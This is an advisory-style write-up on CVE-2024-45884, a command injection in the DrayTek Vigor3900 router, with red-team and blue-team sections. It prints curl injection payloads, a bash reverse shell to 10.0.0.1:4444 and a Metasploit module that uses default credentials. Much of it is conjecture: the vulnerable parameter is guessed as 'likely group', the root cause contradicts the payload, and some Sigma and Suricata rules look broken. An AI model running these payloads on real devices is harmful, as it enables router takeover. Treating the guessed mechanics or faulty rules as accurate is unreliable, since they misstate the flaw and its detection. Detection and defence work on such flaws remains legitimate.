CVE-2024-45884

Executive Summary

CVE-2024-45884 is a post-authentication command injection vulnerability discovered in the DrayTek Vigor3900 router, specifically in firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi script when the action parameter is set to setSWMGroup. An authenticated attacker can inject arbitrary operating system commands, leading to full device compromise. The vulnerability has a CVSS score of 0.0 (placeholder) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for exposed devices. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded network device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (post-authentication command injection), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)

Threat Level: High – full device compromise possible with low privileges.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the cgi-bin/mainfunction.cgi CGI script. The action parameter, when set to setSWMGroup, is not properly sanitized before being passed to a system shell command. An authenticated attacker can append arbitrary commands using shell metacharacters (e.g., ;, |, &&, `).

Root Cause: The application fails to validate or escape user-supplied input in the action parameter before using it in a system call (e.g., system(), exec(), or popen()).

Attack Flow:

1. Attacker authenticates to the web interface (default credentials or brute-forced).
2. Attacker sends a crafted POST request to /cgi-bin/mainfunction.cgi with action=setSWMGroup and a malicious payload in another parameter (likely group or similar).
3. The injected command executes with the privileges of the web server (typically root on embedded devices).
4. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable CGI handler
char cmd[512];
snprintf(cmd, sizeof(cmd), "swm_group --action %s --group %s", action, group);
system(cmd);

Patched Code (Expected):

// Pseudocode for patched handler
char cmd[512];
// Validate action parameter against a whitelist
if (strcmp(action, "setSWMGroup") != 0) {
    return error;
}
// Sanitize group parameter - escape shell metacharacters
char *escaped_group = escape_shell(group);
snprintf(cmd, sizeof(cmd), "swm_group --action %s --group %s", action, escaped_group);
system(cmd);
free(escaped_group);

Exploitation & Lab Setup

Red Team

Prerequisites:

• DrayTek Vigor3900 with firmware 1.5.1.3
• Valid credentials (e.g., admin:admin)

Exploit Payload (cURL):

curl -X POST "http://<target>/cgi-bin/mainfunction.cgi" \
  -d "action=setSWMGroup&group=test;id" \
  -u "admin:admin"

Reverse Shell Payload:

curl -X POST "http://<target>/cgi-bin/mainfunction.cgi" \
  -d "action=setSWMGroup&group=test;bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
  -u "admin:admin"

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'DrayTek Vigor3900 setSWMGroup Command Injection',
      'Description' => 'Post-auth command injection in setSWMGroup action',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2024-45884']],
      'Platform'    => 'unix',
      'Targets'     => [['Automatic', {}]],
      'Payload'     => {'BadChars' => "\x00\x0a\x0d"}
    ))
  end

  def exploit
    print_status("Sending exploit...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => '/cgi-bin/mainfunction.cgi',
      'vars_post' => {
        'action' => 'setSWMGroup',
        'group'  => "test;#{payload.encoded}"
      },
      'authorization' => basic_auth('admin', 'admin')
    })
  end
end

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with action=setSWMGroup.
2. Look for shell metacharacters (;, |, &, `, $()) in the group parameter.
3. Alert on unusual process execution from the web server (e.g., /bin/sh, /bin/bash, /usr/bin/curl).
4. Check for outbound connections from the device to unknown IPs on high ports.

Lab Setup:

• Use a virtualized DrayTek Vigor3900 (if available) or a physical device in an isolated network.
• Capture traffic with tcpdump/Wireshark.
• Use a SIEM to correlate web logs with system logs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action=setSWMGroup and suspicious parameters.
• Outbound connections from the device to external IPs on ports 4444, 8080, or 31337.
• DNS queries to known C2 domains.

File IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/.systemd, /tmp/update.sh).
• Modified system binaries (e.g., /bin/busybox replaced with a backdoored version).

Process IOCs:

• Processes named bash, sh, nc, ncat, python spawned by the web server (e.g., lighttpd or httpd).
• Unusual cron jobs or startup scripts.

Log IOCs:

• Web server logs showing action=setSWMGroup with shell metacharacters.
• System logs showing system() calls with unexpected arguments.

Detection Engineering

YARA Rule

rule CVE_2024_45884_DrayTek_Vigor3900_Command_Injection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900 setSWMGroup"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45884"
    strings:
        $action = "action=setSWMGroup"
        $shell_chars = /[;&|`$(){}]/
    condition:
        $action and $shell_chars
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection via setSWMGroup
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to cgi-bin/mainfunction.cgi with action=setSWMGroup and shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=setSWMGroup'
        cs-uri-query|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in group names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45884 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/mainfunction.cgi"; http_uri;
    content:"action=setSWMGroup"; http_client_body;
    pcre:"/[;&|`$(){}]/Ri";
    reference:cve,2024-45884;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management if not required (block port 80/443 from WAN).
2. Change default credentials immediately.
3. Restrict access to the web interface via firewall rules (allow only trusted IPs).
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply a firmware patch from DrayTek when available.
• If no patch is forthcoming, consider replacing the device with a supported alternative.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter requests containing shell metacharacters in the group parameter.
• Implement WAF rules to block action=setSWMGroup with suspicious payloads.

Valters IT